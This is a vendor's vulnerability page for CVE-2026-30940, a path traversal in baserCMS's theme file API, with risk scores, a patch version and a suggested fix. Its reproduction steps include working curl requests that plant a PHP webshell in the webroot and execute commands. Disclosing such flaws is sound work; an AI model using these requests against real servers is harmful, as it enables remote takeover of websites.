Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

CVE-2026-30940 baserproject/basercms

HIGH

CVE-2026-30940 is a high-severity (CVSS 7.2) Path Traversal vulnerability in baserproject/basercms. A fix is available for baserproject/basercms — see the affected versions and patch details below.

baserCMS: Path Traversal in Theme File API Leads to Arbitrary File Write and RCE

Also known asGHSA-c5c6-37vq-pjcq
Published
Mar 31, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-30940.

EPSS Exploitation Probability

via FIRST.org ↗
1.0%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs62th percentile — riskier than 62% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-30940 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘baserproject/basercms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A path traversal vulnerability exists in the baserCMS 5.x theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write.

An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).

Affected Code

File: plugins/bc-theme-file/src/Service/BcThemeFileService.php

public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
    // ...
    return $viewPath . $type . DS . $path;  // $path is not sanitized
}

Attack Scenario

  1. The attacker compromises an administrator account (password leak, brute force, etc.)
  2. Obtains an access token via API login
  3. Specifies path: "../../../../webroot/" in the theme file creation API
  4. A PHP file is created in the webroot
  5. The attacker accesses the created PHP file to achieve RCE

Reproduction Steps

# 1. Login
curl -X POST "http://target/baser/api/admin/baser-core/users/login.json" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"password"}'

# 2. Create webshell
curl -X POST "http://target/baser/api/admin/bc-theme-file/theme_files/add.json" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "theme": "BcThemeSample",
    "plugin": "",
    "type": "layout",
    "path": "../../../../webroot/",
    "base_name": "shell",
    "ext": "php",
    "contents": "<?php system($_GET[\"cmd\"]); ?>"
  }'

# 3. RCE
curl "http://target/shell.php?cmd=id"

Vulnerability Details

ItemDetails
CWECWE-22: Path Traversal, CWE-73: External Control of File Name or Path
ImpactArbitrary file write, Remote Code Execution (RCE)
Attack PrerequisitesAdministrator privileges + API enabled (USE_CORE_ADMIN_API=true), or chaining with XSS, etc.
ReproducibilityHigh (PoC verified)
Test EnvironmentbaserCMS 5.x (Docker environment)

Additional Notes on Attack Prerequisites

  • When API is enabled (USE_CORE_ADMIN_API=true): API calls can be made externally using JWT token authentication. Direct exploitation is possible.
  • Default settings (USE_CORE_ADMIN_API=false): Direct external API calls are prohibited. CSRF protection is also active, so this vulnerability alone cannot be exploited. An exploit chain involving XSS or similar is required.

Recommended Fix

Rather than relying on simple string replacement or blacklist checks of input, the canonicalized path (using realpath(), etc.) should be verified to be within the theme base directory after file creation or immediately before writing. If the path falls outside the boundary, the operation should be rejected.

The specific implementation location and method are left to the project's design decisions.

Comparison with Other CMS

WordPress's theme editor only allows editing within wp-content/themes/ and does not permit writes outside that directory. CVE-2019-8943 was reported as a path traversal vulnerability in wp_crop_image() that allowed writing cropped image output to an arbitrary directory by including ../ in the filename.

This vulnerability is not a matter of "administrators being able to execute arbitrary code" by design, but rather stems from a security boundary violation where "the theme editing function can write outside the theme directory (to webroot, config, etc.)."

Resources

This advisory was translated from Japanese to English using GitHub Copilot.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistbaserproject/basercmsall versions5.2.3composer require baserproject/basercms:^5.2.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for baserproject/basercms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update baserproject/basercms to 5.2.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-30940 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-30940 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-30940. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary A path traversal vulnerability exists in the baserCMS 5.x theme file management API (`/baser/api/admin/bc-theme-file/theme_files/add.json`) that allows arbitrary file write. An authenticated administrator can include `../` sequences in the `path` parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE). ## Affected Code **File**: `plugins/bc-theme-file/src/Service/BcThemeFileService.php` ```php public function getFullpath(string $theme, string $plugin, string $type, string $path) { // ... retur
O3 Security · Impact-Aware SCA

Is CVE-2026-30940 in your dependencies?

O3 Security finds CVE-2026-30940 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-30940: RCE (High 7.2) | O3 Security